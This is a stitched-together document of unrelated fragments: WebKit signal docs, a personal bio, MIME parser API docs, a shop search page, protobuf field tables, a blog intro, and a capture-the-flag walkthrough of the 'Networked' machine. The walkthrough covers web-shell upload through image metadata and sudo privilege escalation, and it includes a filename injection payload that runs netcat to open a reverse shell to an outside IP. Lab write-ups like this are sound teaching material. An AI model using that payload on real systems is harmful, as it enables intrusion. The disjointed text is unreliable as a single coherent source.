When a WebKitWebFrame changes the document title this signal is emitted.
|
the object on which the signal is emitted |
|
the main frame |
|
the new title |
|
user data set when the signal handler was connected. |
"undo"
signalvoid user_function (WebKitWebView *web_view,
gpointer user_data) : Action
The "undo" signal is a keybinding signal which gets emitted to undo the last editing command.
The default binding for this signal is Ctrl-z
|
the object which received the signal |
|
user data set when the signal handler was connected. |
Since 1.1.14
"user-changed-contents"
signalvoid user_function (WebKitWebView *webkitwebview,
gpointer user_data) : Action
|
the object which received the signal. |
|
user data set when the signal handler was connected. |
"viewport-attributes-changed"
signalvoid user_function (WebKitWebView *webkitwebview,
WebKitViewportAttributes *arg1,
gpointer user_data) : Action
|
the object which received the signal. |
|
user data set when the signal handler was connected. |
"viewport-attributes-recompute-requested"
signalvoid user_function (WebKitWebView *webkitwebview,
WebKitViewportAttributes *arg1,
gpointer user_data) : Action
|
the object which received the signal. |
|
user data set when the signal handler was connected. |
"web-view-ready"
signalgboolean user_function (WebKitWebView *web_view,
gpointer user_data) : Run Last
Emitted after "create-web-view" when the new WebKitWebView should be displayed to the user. When this signal is emitted all the information about how the window should look, including size, position, whether the location, status and scroll bars should be displayed, is already set on the WebKitWebWindowFeatures object contained by the WebKitWebView.
Notice that some of that information may change during the life time of the window, so you may want to connect to the ::notify signal of the WebKitWebWindowFeatures object to handle those.
|
the object on which the signal is emitted |
|
user data set when the signal handler was connected. |
Returns : |
TRUE to stop handlers from being invoked for the event or
FALSE to propagate the event furter |
Since 1.0.3
"window-object-cleared"
signalvoid user_function (WebKitWebView *web_view,
WebKitWebFrame *frame,
gpointer context,
gpointer window_object,
gpointer user_data) : Run Last
Emitted when the JavaScript window object in a WebKitWebFrame has been cleared in preparation for a new load. This is the preferred place to set custom properties on the window object using the JavaScriptCore API.
|
the object on which the signal is emitted |
|
the WebKitWebFrame to which window_object belongs |
|
the JSGlobalContextRef holding the global object and other
execution state; equivalent to the return value of
webkit_web_frame_get_global_context(frame ) |
|
the JSObjectRef representing the frame's JavaScript window object |
|
user data set when the signal handler was connected. |


--- layout: about section-type: about title: About --- ## About I am an aspiring data scientist / machine learning engineer with a strong background in Python. I recently graduated magna cum laude from Duke University, double majoring in Electrical/Computer and Biomedical Engineering with a minor in Computer Science. I am currently working as a Product Engineer at Leverege, LLC as a Venture for America 2016 Fellow.


When responsiveness is a must...
Some viewport emulations to evidence the power of the component responsiveness...
Resizing harmoniously within an open business friendly license.


|
mime-form-decode
|
#include <ObjectBodyParser.h>
Public Member Functions | |
| ObjectBodyParser (mime::ClientInterface *client, mime::Object *obj) | |
| virtual void | parse (unsigned char c)=0 |
| virtual void | close () |
Public Attributes | |
| ClientInterface * | client |
| Object * | obj |
Definition at line 9 of file ObjectBodyParser.h.
|
inline |
Definition at line 12 of file ObjectBodyParser.h.
|
inlinevirtualinherited |
Reimplemented in mime::MultipartParser, mime::QuotedPrintableParser, mime::Base64Parser, mime::AnyObjectParser, and mime::SimpleParser.
Definition at line 17 of file Parser.h.
Referenced by mime::AnyObjectParser::close(), mime::Decoder::close(), mime::MultipartParser::close(), and mime::MultipartParser::parse().
|
pure virtualinherited |
|
inherited |
Definition at line 14 of file ObjectParser.h.
Referenced by mime::Base64Parser::close(), mime::QuotedPrintableParser::close(), mime::ObjectParser::ObjectParser(), mime::SimpleParser::parse(), mime::AnyObjectParser::parse(), mime::Base64Parser::parse(), mime::MultipartParser::parse(), and mime::QuotedPrintableParser::parse().
|
inherited |
Definition at line 15 of file ObjectParser.h.
Referenced by mime::Base64Parser::close(), mime::QuotedPrintableParser::close(), mime::ObjectParser::ObjectParser(), mime::SimpleParser::parse(), mime::AnyObjectParser::parse(), mime::Base64Parser::parse(), mime::MultipartParser::parse(), and mime::QuotedPrintableParser::parse().


Search Results
Search for something
Submit
Pink Petunia Panda
This is a panda in a pink petunia teapot.
Red Rose Panda
This panda came for the tea.


A [resource identifier object](http://jsonapi.org/format/#document-resource-identifier-objects).
| Field | Type | Label | Description |
| type | string | The resource name. |
|
| id | int64 | Unique id. |
Definition for resource identifier collection objects.
| Field | Type | Label | Description |
| id | int64 |
|
|
| data | Data | repeated |
|
A container for http links.
| Field | Type | Label | Description |
| self | string | A http link. It points to the resource itself. |
|
| related | string | A http link. It points to a related resource. |
Top level meta container.
| Field | Type | Label | Description |
| pagination | Pagination |
|
A container for various pagination properties
| Field | Type | Label | Description |
| records | int64 | Total number of entries, regardless of pages. |
|
| total | int64 | Total number of pages. |
|
| size | int64 | Number of entries per page. |
|
| number | int64 | Current page number. |
A container for pagination links.
| Field | Type | Label | Description |
| self | string | A http link to the resource itself. |
|
| next | string | A http link to the next page of data. |
|
| prev | string | A http link to the previous page of data. |
|
| last | string | A http link to the last page of data. |
|
| first | string | A http link to the first page of data. |
A `DeleteRequest` defines the url parameter that must be passed
to remove a singular resource.
| Field | Type | Label | Description |
| id | int64 | An unique identifier, for example: "/users/34" |
ExistResponse wraps a boolean response
| Field | Type | Label | Description |
| exist | bool | exist or non-existant |
A `GetEmailRequest` is identical to GetRequest except `email` id used as unique identifier.
| Field | Type | Label | Description |
| string | Email id<EMAIL_ADDRESS>|
||
| include | string | include query parameter to retrieve any particular or particular combination of relationships. Multiple include values are delimited by comma(,). For example, /{resource_name}/13?include=baz /{resource_name}/13?include=baz,bot |
|
| fields | string | fields query parameter to retrieve any particular or any particular combination of attributes. Multiple fields values are delimited by comma(,). For example, /{resource_name}/29?fields=foo /{resource_name}/?fields=foo,bar |
A `GetRequest` defines various url and query parameters that could be passed
in a HTTP **GET** request to a singular resource. Majority of the request
parameters are identical or similar to [jsonapi](http://jsonapi.org).
| Field | Type | Label | Description |
| id | int64 | An unique identifier, for example: "/users/34" |
|
| include | string | include query parameter to retrieve any particular or particular combination of relationships. Multiple include values are delimited by comma(,). For example, /{resource_name}/13?include=baz /{resource_name}/13?include=baz,bot |
|
| fields | string | fields query parameter to retrieve any particular or any particular combination of attributes. Multiple fields values are delimited by comma(,). For example /{resource_name}/29?fields=foo /{resource_name}/?fields=foo,bar |
A `GetRequestWithFields` is a subset of GetRequest which only allow the fields parameter.
| Field | Type | Label | Description |
| id | int64 | An unique identifier, for example: "/users/34" |
|
| fields | string | fields query parameter to retrieve any particular or any particular combination of attributes. Multiple fields values are delimited by comma(,). For example /{resource_name}/29?fields=foo /{resource_name}/?fields=foo,bar |
| Field | Type | Label | Description |
| id | int64 |
|
| Field | Validations |
| id |
|
| Field | Type | Label | Description |
| id | int64 | An unique identifier |
| Field | Type | Label | Description |
| id | int64 | An unique identifier |
A `ListRequest` defines various url and query parameters that could be
passed in a HTTP **GET** request to a collection resource. All collection
resources are expected to support pagination. Majority of the request
parameters are identical or similar to [jsonapi](http://jsonapi.org).
| Field | Type | Label | Description |
| include | string | include query parameter to retrieve any particular or particular combination of relationships. Multiple include values are delimited by comma(,). For example, /{resource_name}/13?include=baz /{resource_name}/13?include=baz,bot |
|
| fields | string | fields query parameter to retrieve any particular or any particular combination of attributes. Multiple fields values are delimited by comma(,). For example /{resource_name}/29?fields=foo /{resource_name}/?fields=foo,bar |
|
| pagenum | int64 | The page number to fetch |
|
| pagesize | int64 | Number of records per page |
|
| filter | string | The `filter` query parameter restricts the data return by the collection. To use it, supply an attribute to filter, followed by a filter expression. It uses the following syntax... attribute operator expression attribute - Any one of the valid attribute of the resource. operator - Defines the type of filter match to use. It could be any of the following four and all of them should be URL-encoded. == Equals (URL encoding is %3D%3D) != Not equals =@ Contains substring !@ Not contains substring expression - The value that will be included or excluded from the result. URL-reserved characters must be URL-encoded. For example, the following filter returns all users with last name `Gag`. /users?filter=last_name%3D%3Dgag Filter can be combined using OR or AND boolean logic. * The OR is represented using a comma(,). * The AND is represented using a semi-colon(;). * AND and OR operators can be combined and AND takes precedence over OR. |
A `RelationshipRequest` defines the url parameter for relationship resources
that are given in the links field of relationship object
| Field | Type | Label | Description |
| id | int64 | An unique identifier, for example: "/users/45/roles" or "/users/45/relationships/roles" |
A `RelationshipRequestWithPagination` is a `RelationshipRequest` with pagination
| Field | Type | Label | Description |
| id | int64 |
|
|
| pagenum | int64 |
|
|
| pagesize | int64 |
|
A `SimpleListRequest` is identical to `ListRequest` except it does not support
pagination. The rest of the parameters are identical to `ListRequest` definition.
| Field | Type | Label | Description |
| include | string | include query parameter to retrieve any particular or particular combination of relationships. Multiple include values are delimited by comma(,). For example, /{resource_name}/13?include=baz /{resource_name}/13?include=baz,bot |
|
| fields | string | fields query parameter to retrieve any particular or any particular combination of attributes. Multiple fields values are delimited by comma(,). For example /{resource_name}/29?fields=foo /{resource_name}/?fields=foo,bar |
|
| filter | string | The `filter` query parameter restricts the data return by the collection. To use it, supply an attribute to filter, followed by a filter expression. It uses the following syntax... attribute operator expression attribute - Any one of the valid attribute of the resource. operator - Defines the type of filter match to use. It could be any of the following four and all of them should be URL-encoded. == Equals (URL encoding is %3D%3D) != Not equals =@ Contains substring !@ Not contains substring expression - The value that will be included or excluded from the result. URL-reserved characters must be URL-encoded. For example, the following filter returns all users with last name `Gag`. /users?filter=last_name%3D%3Dgag Filter can be combined using OR or AND boolean logic. * The OR is represented using a comma(,). * The AND is represented using a semi-colon(;). * AND and OR operators can be combined and AND takes precedence over OR. |
| .proto Type | Notes | C++ Type | Java Type | Python Type |
| double | double | double | float | |
| float | float | float | float | |
| int32 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint32 instead. | int32 | int | int |
| int64 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint64 instead. | int64 | long | int/long |
| uint32 | Uses variable-length encoding. | uint32 | int | int/long |
| uint64 | Uses variable-length encoding. | uint64 | long | int/long |
| sint32 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int32s. | int32 | int | int |
| sint64 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int64s. | int64 | long | int/long |
| fixed32 | Always four bytes. More efficient than uint32 if values are often greater than 2^28. | uint32 | int | int |
| fixed64 | Always eight bytes. More efficient than uint64 if values are often greater than 2^56. | uint64 | long | int/long |
| sfixed32 | Always four bytes. | int32 | int | int |
| sfixed64 | Always eight bytes. | int64 | long | int/long |
| bool | bool | boolean | boolean | |
| string | A string must always contain UTF-8 encoded or 7-bit ASCII text. | string | String | str/unicode |
| bytes | May contain any arbitrary sequence of bytes. | string | ByteString | str |


Open Source And Close Source Technology Finally Merge As One
The Synergy of Opposing Technologies
More than two decades ago my passion for computers and related technology began. At present my passion went to a whole new level as I take on the labyrinth of the new frontier by attempting to sort out what's important and what's not. The pacing may be fast but I know that as a would be programmer I need to find solutions hidden under bad ones.


Networked is an easy level machine based on Linux, the initial approach is based on a file upload inside a web application.
The privilege escalation process requires basic knowledge about PHP and Bash scripts in order to bypass some restrictions and inject system commands.
Recon
Starting with Nmap:
The web application at port 80 has a simple text about their products:
Enumerating the web application in search of directories and files using the gobuster tool we got the following results:
The backup directory has a file named backup.tar:
After downloading the .tar file we found that the contents appears to be the source code of the web application:
The upload.php file is interesting:
Exploiting - Injecting PHP commands into an image
After a couple tries trying to upload a PHP web shell we’re able to upload a webshell injecting a PHP command into image metadata using the tool named exiftool:
Accessing photos.php we noticed that our malicious image has been uploaded without a thumbnail:
Now we’re able to execute system commands with success!
After that we need to set up our reverse shell and the netcat on listening mode.
Exploiting - Using a custom exploit
For knowledge purposes I made a custom exploit that generate an image, inject the PHP, upload the malicious image and spawn an interactive reverse shell to us, it’s available on my GitHub :)
Post Exploitation - Doing code review and changing script behaviors
After a quick enumeration we found an interesting file named check_attack.php under the user guly’s home with the following content:
This file has the following permissions:
-r–r–r–. 1 root root 782 Oct 30 2018 check_attack.php
Doing basic code review we noticed that the purpose of this file is to be executed as a small firewall. The script deals with some logs and checks to indentify any potential attacker that doesn’t follow valid IP formats when creating files under /var/www/html/uploads. There’s a critical vulnerable point: exec on line 29 because the user input is stored into $path$value where the $value is the name of the file created under /var/www/html/uploads directory.
This leads to a vulnerability named command injection because the attacker is able create a file and append a command on its name.
To exploit this vulnerability let’s create a file inside /var/www/html/uploads directory with named ;nc -e \$(which bash) <IP_ADDRESS> 4444:
After some time we got a reverse shell connection as guly user:
After that we need to enumerate again in order to escalate our privileges to root. The sudo -l command reveals an interesting script located at /usr/local/sbin/changename.sh.
The changename.sh script has root privileges and the following content:
The script needs 4 inputs to be executed:
NAME
PROXY_METHOD
BROWSER_ONLY
BOOTPROTO
By inserting /bin/bash on NAME input we’re able to spawn a shell as root user!